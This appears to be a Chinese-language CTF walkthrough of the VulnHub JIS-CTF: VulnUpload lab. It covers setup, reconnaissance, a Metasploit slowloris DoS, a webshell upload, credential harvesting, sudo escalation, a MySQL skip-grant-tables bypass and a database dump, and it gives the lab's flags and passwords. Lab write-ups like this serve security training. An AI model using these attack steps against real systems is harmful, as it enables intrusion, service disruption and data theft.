目录
Vulnhub靶机渗透之环境搭建及JIS-CTF入门
一、JIS-CTF题目描述
二、Vulnhub环境配置
三、Vulnhub靶机渗透详解
1.信息收集
2.First flag
3.Second flag
4.Third flag
5.Fourth flag
6.Fifth flag
7.sudo提权管理员权限
8.无密码登录数据库
9.获取数据库数据
四.总结
靶场题目:JIS-CTF: VulnUpload
靶场地址:Vulnerable By Design ~ VulnHub
entry/jis-ctf-vulnupload,228/
难度描述:包含5个Flag,初级难度,查找所有Flag平均需要1.5小时
靶场作者:Mohammad Khreesha
靶场描述:Description: There are five flags on this machine. Try to find them. It takes 1.5 hour on average to find all flags.
下载地址:
Download (Torrent):https://download.vulnhub.com/ jisctf/JIS-CTF-VulnUpload-CTF01.ova.torrent
Download (Mirror):https://download.vulnhub.com/ jisctf/JIS-CTF-VulnUpload-CTF01.ova
打开网址显示的内容如下图所示,我们获取虚拟机格式的镜像,然后进行环境配置。
第一步,下载资源
第二步,打开VMware虚拟机安装靶场 找到我们刚才下载的文件,导入虚拟机。
第三步,导入完成之后,设置NAT网络模式,内存设置为2G,硬盘设置为32GB
四步,点击开启虚拟机及配置过程 到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。
进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。
回车后会弹出选择界面,我们选择root一行回车,接着再次回车进入命令行模式。
第五步,输入“mount -o rw,remount / ”命令,再配置网络问卷,否则后面可能无法保存网络配置文件
接着输入命令查看网卡:
ifconfig -a
然后继续输入命令修改网络配置文件。
最后输入reboot重启即可。
(方法二,进入系统界面,输入账号 technawi 口令 3vilH@ksor
然后启用网卡:sudo ifconfig ens33 up 分配IP:sudo dhclient)
首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。
第一步,扫描网卡名称
netdiscover -i
第二步,调用Nmap探测目标主机IP
nmap -sn 192.168.179.0/24
由于在同一个网段,所以和主机IP地址近似,扫描结果如下图所示,靶场IP为192.168.179.5
第三步,调用Nmap探测靶机的开放端口信息
nmap -A 192.168.179.5
22端口:SSH远程连接
80端口:HTTP网站协议
第四步,用nmap进行漏洞扫描
nmap --script=vuln -p22,80 192.168.179.5
发现漏洞
下一步就是直接启动msf,终端输入:msfconsole
然后搜一下有啥可以用的模块:search slowloris;use一下:use auxiliary/dos/http/slowloris
run之后发现 http://192.168.179.5 打不开,说明漏洞利用成功
第五步,利用dirb扫描80端口的目录文件,敏感文件分析非常重要
dirb http://192.168.179.5
第六步,调用whatweb查看环境
whatweb 192.168.179.5/login.php
第七步,敏感文件分析
登陆界面: 192.168.179.5/index.php 192.168.179.5/login.php
系统信息:发现目录浏览漏洞,以及apache版本信息 192.168.179.5/assets/
robots.txt文件发现目录泄露,其中flag文件夹应该有问题 192.168.179.5/robots.txt
我们从敏感文件robots.txt中获取目录信息,发现一个敏感的关键词flag,输入目标地址:192.168.179.5/flag/,第一个flag浮出水面,比较基础,是敏感文件和目录相关。
The 1st flag is : {8734509128730458630012095}
在地址栏中输入网址,显示如下图所示:
http://192.168.179.5/admin_area/
右键查看源代码,可用看到第二个flag
登录分析
我们之前打开了登录页面,但没有账号和密码。这里是否能用上面的账号和密码呢?接着我们进行了登录尝试,返回页面是一个文件上传。
http://192.168.179.5/login.php
username : admin
password : 3v1l_H@ck3r
上传一句话木马
第一步:登录之后是一个上传页面,我们尝试上传一句话木马。
木马内容:‘’
第二步:上传成功用蚁剑进行连接
保存后可看到后台整个页面,在/var/www/html/目录下,看到hint.txt和flag.txt文件。
在hint.txt中可看到第三个flag:The 3rd flag is : {7645110034526579012345670}
第三步,gobuster目录扫描 注意,hint.txt文件是能够直接访问的,但flag.txt文件却无法访问。
root@kali:~# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.179.5 -t 100 -x txt
刚才在第三个flag提示我们“try to find user technawi password to read the flag.txt file, you can find it in a hidden file ”,表示需要用technawi读取flag.txt文件,我们可以在隐藏文件中找到用户的信息。那怎么去实现呢?
第一步,我们在蚁剑中启动shell的命令行模式,命令“2>/dev/null”表示过滤掉类似没有权限的信息。
find / -user ‘technawi’ 2>/dev/null
我们看到了一个特殊的文件/etc/mysql/conf.d/credentials.txt ,尝试去读一下里面的信息,得到flag
cat /etc/mysql/conf.d/credentials.txt
获取第四个Flag和technawi用户对应的密码。
The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor
如果直接读取flag.txt文件,显示为空,需要对应的用户和权限。
接着我们采用SSH连接,账号和密码为第4个flag获取的值。
username : technawi
password : 3vilH@ksor
找到登陆用户technawi,然后去读取刚才flag.txt文件 ,得到最后的flag。
cat /var/www/html/flag.txt
The 5th flag is : {5473215946785213456975249}
在Web渗透中,提权和数据库获取也是非常重要的知识点。尽管Vulnhub是渗透靶场,但获取flag并不是我们的唯一目标,提权也很有意思。
root权限可以直接使用sudo su -获得
1、定位配置文件位置并打开进行编辑
2、在文件内容 [mysqld] 下方添加“跳过密码登录”的代码skip-grant-tables ,保存后退出。
3、重启mysql
root@Jordaninfosec-CTF01:/usr/lib/mysql# locate my.cnf
/etc/alternatives/my.cnf
/etc/mysql/my.cnf
/etc/mysql/my.cnf.fallback
/var/lib/dpkg/alternatives/my.cnf
root@Jordaninfosec-CTF01:/usr/lib/mysql# cd /etc/mysql
root@Jordaninfosec-CTF01:/etc/mysql# ls
conf.d debian.cnf debian-start my.cnf my.cnf.fallback mysql.cnf mysql.conf.d
root@Jordaninfosec-CTF01:/etc/mysql# vi my.cnf
root@Jordaninfosec-CTF01:/etc/mysql# systemctl restart mysql
4、确认不需要密码可以登录 MySQL
mysql -uroot
查看数据表和user表:
更新root密码为123456:
mysqldump导出需要的数据库,完成mysql脱裤。
所用命令
mysql> use mysql;
mysql> show databases;
mysql> select host,user,authentication_string,plugin from user;
mysql> update user set authentication_string=password("123456") where user="root";
mysql> flush privileges;
root@Jordaninfosec-CTF01:~# mysqldump -uroot -p sys > sys.sql
Enter password:
root@Jordaninfosec-CTF01:~# ls
sys.sql
写道这里,这篇文章讲解完毕,后续会更深入的分享。文章内容包括:
netdiscover 用于发现目标ip
nmap进行端口扫描
dirb进行目录扫描
敏感文件获取及分析
php木马生成和蚁剑工具
ssh远程连接
sudo提权
数据库脱裤
相关内容整理于网上,侵权删。